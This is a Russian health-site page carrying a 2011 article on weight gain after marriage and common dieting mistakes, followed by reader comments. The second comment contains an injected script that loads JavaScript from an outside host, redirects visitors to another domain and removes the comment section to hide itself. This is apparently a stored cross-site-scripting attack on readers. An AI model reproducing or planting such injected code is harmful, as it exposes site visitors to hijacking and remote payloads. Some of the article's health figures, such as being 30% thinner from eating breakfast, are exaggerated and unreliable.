Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Сколько весит семейное сч...  >>  Сколько весит семейное счастье?
 
Обратная связь
 

Сколько весит семейное счастье?

Размер шрифта
22 мая 2011 11:26
  • google_analytics: false
  • Нравится

Старая история: она вышла замуж, и через пару лет любимые джинсы пришлось отдать младшей сестре. В чем же причина такого загадочного превращения Золушки в тыкву и как с этим бороться?

Екатерина Олейникова / «Здоровье-инфо»

Во-первых, после замужества у женщины пропадает стимул выглядеть на все сто ежедневно – она уже нашла своего избранника и может вдохнуть свободно.

Во-вторых, с возрастом снижается выработка коллагена, появляются морщины.

В-третьих, после рождения детей особенно трудно избавиться от набранного за время беременности.

В-четвертых, женский организм устроен таким образом, чтобы накапливать жир и иметь на случай голода запас питательных веществ для того, чтобы выкормить ребенка. Но сегодня с изобретением микроволновок, лапши и пиццы, этот биологический механизм, становившийся во время эволюции, женщине только мешает.

В-пятых, современный житель мегаполиса так устает на работе, что предпочитает отдыхать исключительно в горизонтальном положении, не шевелясь.

Помимо этого есть неумолимые законы природы: с возрастом уменьшается мышечная масса, снижается скорость обмена веществ, и уже в 35 лет вы сжигаете в день на 100 калорий меньше, а в 45 - на 200. Даже если отказаться от булочек и пирожных, за год все равно набегут лишние 4 кило.

Как же подстегнуть засыпающий метаболизм? Пойдем от противного и перечислим самые распространенные ошибки желающих похудеть.

1. Не верьте слепо весам.

Особенно самым простым, которые считают только килограммы. Выбирайте такие весы, которые подсчитывают соотношение мышечной ткани и жировой. Мышечной ткани должно быть больше.

Что делать?

Если жира больше, чем мышц, скорректируйте диету и увеличьте физическую нагрузку. В мышечной ткани калории сгорают быстрее.

2. Откажитесь от изнурительных диет и голодовок.

Сгоняя жир на сверхзвуковых скоростях, вы надрываете все системы организма и снижаете скорость обмена веществ на 25%. Получая меньше 900 калорий в день, организм пускает в расход драгоценную мышечную ткань, отчего обмен веществ еще сильнее замедляется.

Что делать?

  • Худеть надо медленно. На диете в 1300-1500 ккал вы все равно будете сбрасывать лишнее, но при этом скорость обмена веществ снижается всего на 5%.
  • Не забывайте о белковой пище: курица, рыба, индейка. Белок содержит лейцин, а эта аминокислота не даст худеющему организму тратить мышечную ткань.
  • Пейте обезжиренное молоко. После тренировки две чашки молока дадут рост мышцам и помогут сжечь больше жира.

3. Не надо голодать по утрам.

Многие женщины отказываются от завтрака, потому что вечером плотно ужинают. Во второй половине дня голод берет свое, и женщина наедается за обедом, убеждая себя, что с завтрашнего дня все изменится. Те, кто соблюдает диету только по утрам, совершают все ту же ошибку: без завтрака обмен веществ не включается, калории не сжигаются.

Что делать?

Завтракайте! После плотного завтрака в течение дня вы потребляете на 100-200 калорий меньше и в результате будете на 30% тоньше. При этом утренние калории сгорают во благо, а вечерние откладывают на бедрах, ягодицах, животе.

4. Не надо мало спать и много нервничать.

В ситуации постоянного стресса идет выработка кортизола, гормона стресса. Именно он виноват в том, что вам постоянно хочется плова или картошки фри. Если в условиях стресса вы спите меньше семи часов в сутки, то будете в год стабильно набирать по килограмму. Недостаток сна увеличивает выработку грелина, гормона, стимулирующего аппетит, и снижает выработку гормона сытости лептина. Поэтому, когда вы устаете, вас тянет на конфетки и печенье.

Что делать?

  • Спите не меньше 7 часов в сутки.
  • Чтобы отключиться от проблем, надевайте кроссовки и отправляйтесь на прогулку.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

10 сентября 2013 в 16:18

Комментарий удален за нарушение Правил общения

2 - zzzzzz

01 июля 2015 в 00:12

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Машина времени поможет вам похудеть! Причем она у вас уже есть!   5 рецептов овощных супов для похудения   Самые популярные мифы о диабете   Спросите маму, как вы родились  
07 августа 2012В Америке зарегистрирован новый препарат для снижения веса! 26 декабря 2012Еда для снижения веса
 
13 апреля 2011Калории подсчитает смартфон 11 октября 2013Елена Малышева расскажет все о том, как правильно худеть
 

Слайдшоу

1
Подруги-обманщицы не дают вам похудеть
Самые опасные стили питания: бездумное жевание
Почему вы переедаете: 5 причин

Тесты

1
Есть ли у вас избыточный вес?
Готовы ли вы сбросить лишнее?
Есть ли у вас остеопороз?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.